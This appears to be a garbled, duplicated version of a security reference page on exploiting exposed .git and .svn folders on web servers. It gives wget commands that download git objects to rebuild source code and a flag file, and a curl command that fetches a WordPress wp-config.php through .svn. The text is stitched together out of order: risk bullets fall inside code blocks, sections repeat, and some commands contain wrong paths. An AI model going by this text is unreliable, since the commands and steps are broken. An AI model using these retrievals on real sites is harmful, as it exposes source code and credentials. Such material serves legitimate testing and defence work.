## Example
|
||||
|
||||
The following examples will create either a copy of the .git or a copy of the current commit.
|
||||
|
||||
Check for the following files, if they exist you can extract the .git folder.
|
||||
|
||||
- .git/config
|
||||
- .git/HEAD
|
||||
- .git/logs/HEAD
|
||||
|
||||
### Recovering file contents from .git/logs/HEAD
|
||||
|
||||
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
||||
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
||||

```powershell

|
||||
```
|
||||
|
||||
### Recovering file contents from .git/index
|
||||
|
||||
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
|
||||
|
||||
```powershell
|
||||
pip3 install gin
|
||||
gin ~/git-repo/.git/index
|
||||
```
|
||||
|
||||
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
|
||||
|
||||
```powershell
|
||||
$ gin .git/index | egrep -e "name|sha1"
|
||||
name = AWS Amazon Bucket S3/README.md
|
||||
sha1 = 862a3e58d138d6809405aa062249487bee074b98
|
||||
|
||||
name = CRLF injection/README.md
|
||||
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141

||||

Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.
|
||||
|
||||
## Git
|
||||
|
||||
The following examples will create either a copy of the .git or a copy of the current commit.
|
||||
## Summary
|
||||
|
||||
Check for the following files, if they exist you can extract the .git folder.
|
||||
* [Bazaar](./Bazaar.md)
|
||||
* [Git](./Git.md)
|
||||
* [Mercurial](./Mercurial.md)
|
||||
* [Subversion](./Subversion.md)
|
||||
* [Methodology](#methodology)
|
||||
|
||||
- .git/config
|
||||
- .git/HEAD
|
||||
- .git/logs/HEAD
|
||||
|
||||
### Example
|
||||
## Methodology
|
||||
|
||||
#### Recovering file contents from .git/logs/HEAD
|
||||
Exposing the version control system folders on a web server can lead to severe security risks, including:
|
||||
|
||||
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
||||
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
||||
```powershell
|
||||

|
||||
```
|
||||
3. Access the commit using the hash
|
||||
```powershell
|
||||
# create an empty .git repository
|
||||
git init test
|
||||
cd test/.git
|
||||
- **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
|
||||
- **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
|
||||
- **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
|
||||
|
||||
# download the file
|
||||
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
|
||||
|
||||
# first byte for subdirectory, remaining bytes for filename
|
||||
mkdir .git/object/26
|
||||
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
|
||||
The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.
|
||||
|
||||
# display the file
|
||||
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c

||||

|
||||
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||
```powershell
|
||||
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|

mkdir .git/object/32
|
||||
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
|
||||
* **Manual Inspection** : Check URLs manually by navigating to common SCM paths.
|
||||
* http://target.com/.git/
|
||||
* http://target.com/.svn/
|
||||
* **Automated Tools** : Refer to the page related to the specific technology.
|
||||
|
||||
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
|
||||

|
||||

||||
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
|
||||
```
|
||||
5. Read the data (flag.txt)
|
||||
```powershell
|
||||
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
||||
mkdir .git/object/cb
|
||||
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
|
||||
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
||||
```
|
||||
Once a potential SCM folder is identified, check the HTTP response codes and contents. You might need to bypass `.htaccess` or Reverse Proxy rules.
|
||||
|
||||
#### Recovering file contents from .git/index
|
||||
The NGINX rule below returns a `403 (Forbidden)` response instead of `404 (Not Found)` when hitting the `/.git` endpoint.
|
||||
|
||||
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
|
||||
|
||||
```powershell
|
||||
pip3 install gin
|
||||
gin ~/git-repo/.git/index
|
||||
```ps1
|
||||
location /.git {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
|
||||
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
|
||||
For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (http://target.com/.git/), the data extraction can still be conducted when files can be read.
|
||||
|
||||
```powershell
|
||||
$ gin .git/index | egrep -e "name|sha1"
|
||||
name = AWS Amazon Bucket S3/README.md
|
||||
sha1 = 862a3e58d138d6809405aa062249487bee074b98
|
||||
|
||||
name = CRLF injection/README.md
|
||||
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
||||
```

## Subversion
|
||||
|
||||
### Example (Wordpress)
|
||||
|
||||
```powershell
|
||||
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
||||
```
|
||||
|
||||
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
|
||||
```powershell
|
||||
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
|
||||
```
|
||||
2. Download interesting files
|
||||
* remove \$sha1\$ prefix
|
||||
* add .svn-base postfix
|
||||
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
|
||||
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`

|
||||
|
||||
```powershell

||||
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
||||
```
|
||||
|
||||
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
|
||||
```powershell
|
||||
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
|
||||
```
|
||||
2. Download interesting files
|
||||
* remove \$sha1\$ prefix
|
||||
* add .svn-base postfix
|
||||
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
|
||||
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
